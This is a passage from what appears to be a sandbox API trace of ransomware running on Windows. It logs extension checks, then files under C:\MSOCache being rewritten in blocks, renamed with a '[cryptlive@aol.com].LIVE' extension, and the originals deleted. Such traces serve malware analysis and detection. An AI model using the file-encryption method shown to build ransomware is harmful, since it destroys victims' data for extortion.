returned 87 [0052.564] lstrlenW (lpString=".jpg") returned 4 [0052.564] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0052.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.564] lstrlenW (lpString=".doc") returned 4 [0052.564] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0052.564] lstrlenW (lpString=".docx") returned 5 [0052.564] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0052.564] lstrlenW (lpString=".pdf") returned 4 [0052.564] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0052.564] lstrlenW (lpString=".xls") returned 4 [0052.564] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0052.564] lstrlenW (lpString=".xlsx") returned 5 [0052.564] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0052.564] lstrlenW (lpString=".ppt") returned 4 [0052.564] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0052.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.564] lstrlenW (lpString=".zip") returned 4 [0052.564] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0052.564] lstrlenW (lpString=".rar") returned 4 [0052.564] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0052.564] lstrlenW (lpString=".bz2") returned 4 [0052.564] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0052.564] lstrlenW (lpString=".7z") returned 3 [0052.564] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0052.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.565] lstrlenW (lpString=".dbf") returned 4 [0052.565] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0052.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.565] lstrlenW (lpString=".1cd") returned 4 [0052.565] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0052.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.565] lstrlenW (lpString=".jpg") returned 4 [0052.565] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0052.565] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0052.565] lstrlenW (lpString="Office32WW.msi") returned 14 [0052.565] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.566] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1992192) returned 1 [0052.566] CloseHandle (hObject=0x1fc) returned 1 [0052.566] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0052.566] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.566] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0052.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.567] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.567] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.567] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a20058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.688] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.688] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.741] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.741] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.741] ReadFile (in: hFile=0x1fc, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.798] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.798] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x300fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0052.822] SetEndOfFile (hFile=0x1fc) returned 1 [0052.822] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3fe7910 [0052.822] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.822] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.824] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.824] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.059] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0053.059] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.061] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3fe7910 | out: hHeap=0x520000) returned 1 [0053.556] CloseHandle (hObject=0x1fc) returned 1 [0053.556] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0053.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.556] lstrlenW (lpString=".doc") returned 4 [0053.556] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.556] lstrlenW (lpString=".docx") returned 5 [0053.556] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0053.556] lstrlenW (lpString=".pdf") returned 4 [0053.556] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.556] lstrlenW (lpString=".xls") returned 4 [0053.556] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.556] lstrlenW (lpString=".xlsx") returned 5 [0053.556] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0053.556] lstrlenW (lpString=".ppt") returned 4 [0053.556] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.557] lstrlenW (lpString=".zip") returned 4 [0053.557] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.557] lstrlenW (lpString=".rar") returned 4 [0053.557] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.557] lstrlenW (lpString=".bz2") returned 4 [0053.557] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.557] lstrlenW (lpString=".7z") returned 3 [0053.557] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.557] lstrlenW (lpString=".dbf") returned 4 [0053.557] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.557] lstrlenW (lpString=".1cd") returned 4 [0053.557] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.557] lstrlenW (lpString=".jpg") returned 4 [0053.557] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.557] lstrlenW (lpString=".doc") returned 4 [0053.557] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.557] lstrlenW (lpString=".docx") returned 5 [0053.557] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0053.557] lstrlenW (lpString=".pdf") returned 4 [0053.557] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.557] lstrlenW (lpString=".xls") returned 4 [0053.557] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.557] lstrlenW (lpString=".xlsx") returned 5 [0053.557] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0053.557] lstrlenW (lpString=".ppt") returned 4 [0053.558] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.558] lstrlenW (lpString=".zip") returned 4 [0053.558] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.558] lstrlenW (lpString=".rar") returned 4 [0053.558] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.558] lstrlenW (lpString=".bz2") returned 4 [0053.558] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.558] lstrlenW (lpString=".7z") returned 3 [0053.558] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.558] lstrlenW (lpString=".dbf") returned 4 [0053.558] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.558] lstrlenW (lpString=".1cd") returned 4 [0053.558] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0053.558] lstrlenW (lpString=".jpg") returned 4 [0053.558] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.558] lstrcmpiW (lpString1=".xrm-ms", lpString2=".LIVE") returned 1 [0053.558] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0053.558] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0053.559] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=715834) returned 1 [0053.559] CloseHandle (hObject=0x1fc) returned 1 [0053.559] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0053.559] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.559] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0053.559] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.559] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.559] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0053.559] GetLastError () returned 0x0 [0053.560] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0053.617] WriteFile (in: hFile=0x200, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0053.632] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.633] WriteFile (in: hFile=0x200, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0x104, lpOverlapped=0x0) returned 1 [0053.633] SetEndOfFile (hFile=0x200) returned 1 [0053.633] CloseHandle (hObject=0x200) returned 1 [0053.633] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.633] SetEndOfFile (hFile=0x1fc) returned 1 [0053.910] CloseHandle (hObject=0x1fc) returned 1 [0053.910] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0053.910] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0053.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.910] lstrlenW (lpString=".doc") returned 4 [0053.911] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0053.911] lstrlenW (lpString=".docx") returned 5 [0053.911] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0053.911] lstrlenW (lpString=".pdf") returned 4 [0053.911] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0053.911] lstrlenW (lpString=".xls") returned 4 [0053.911] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0053.911] lstrlenW (lpString=".xlsx") returned 5 [0053.911] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0053.911] lstrlenW (lpString=".ppt") returned 4 [0053.911] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0053.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.911] lstrlenW (lpString=".zip") returned 4 [0053.911] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0053.911] lstrlenW (lpString=".rar") returned 4 [0053.911] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0053.911] lstrlenW (lpString=".bz2") returned 4 [0053.911] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0053.911] lstrlenW (lpString=".7z") returned 3 [0053.911] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0053.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.911] lstrlenW (lpString=".dbf") returned 4 [0053.911] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0053.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.911] lstrlenW (lpString=".1cd") returned 4 [0053.911] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0053.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.911] lstrlenW (lpString=".jpg") returned 4 [0053.911] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0053.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.912] lstrlenW (lpString=".doc") returned 4 [0053.912] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0053.912] lstrlenW (lpString=".docx") returned 5 [0053.912] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0053.912] lstrlenW (lpString=".pdf") returned 4 [0053.912] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0053.912] lstrlenW (lpString=".xls") returned 4 [0053.912] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0053.912] lstrlenW (lpString=".xlsx") returned 5 [0053.912] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0053.912] lstrlenW (lpString=".ppt") returned 4 [0053.912] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0053.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.912] lstrlenW (lpString=".zip") returned 4 [0053.912] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0053.912] lstrlenW (lpString=".rar") returned 4 [0053.912] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0053.912] lstrlenW (lpString=".bz2") returned 4 [0053.912] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0053.912] lstrlenW (lpString=".7z") returned 3 [0053.912] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0053.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.912] lstrlenW (lpString=".dbf") returned 4 [0053.912] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0053.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.913] lstrlenW (lpString=".1cd") returned 4 [0053.913] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0053.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0053.913] lstrlenW (lpString=".jpg") returned 4 [0053.913] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0053.913] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0053.913] lstrlenW (lpString="setup.exe") returned 9 [0053.913] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.281] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1377656) returned 1 [0054.281] CloseHandle (hObject=0x218) returned 1 [0054.281] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0054.282] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0054.282] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.282] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.282] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.282] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.284] GetLastError () returned 0x0 [0054.284] ReadFile (in: hFile=0x218, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0054.310] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0054.647] ReadFile (in: hFile=0x218, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0x50588, lpOverlapped=0x0) returned 1 [0054.671] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0055.848] ReadFile (in: hFile=0x218, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.850] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xe6, 